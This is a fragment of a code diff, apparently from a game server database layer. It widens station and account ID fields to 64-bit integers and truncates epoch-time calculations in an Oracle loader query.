DB::BindableNetworkId house_id;
DB::BindableLong account_num_lots;
DB::BindableBool account_is_outcast;
@@ -80,7 +80,7 @@ struct PlayerObjectRow : public DB::Row
struct PlayerObjectBufferRow : public DB::Row
{
DB::BindableNetworkId object_id;
DB::BindableLong station_id;
DB::BindableInt64 station_id;
DB::BindableNetworkId house_id;
DB::BindableLong account_num_lots;
DB::BindableBool account_is_outcast;
@@ -45,7 +45,7 @@ class TaskRestoreCharacter:public DB::TaskRequest
//output:
DB::BindableLong result;
DB::BindableString<127> character_name;
DB::BindableLong account;
DB::BindableInt64 account;
DB::BindableLong template_id;
private:
+2 -2
View File
@@ -18,8 +18,8 @@ create or replace package body loader as
open result_cursor for
select character_object, station_id, uc_character_name, character_full_name,
(create_time - to_date('01/01/1970', 'MM/DD/YYYY')) * 24 * 3600,
(last_login_time - to_date('01/01/1970', 'MM/DD/YYYY')) * 24 * 3600
trunc((create_time - to_date('01/01/1970', 'MM/DD/YYYY')) * 24 * 3600),
trunc((last_login_time - to_date('01/01/1970', 'MM/DD/YYYY')) * 24 * 3600)
from players;
return result_cursor;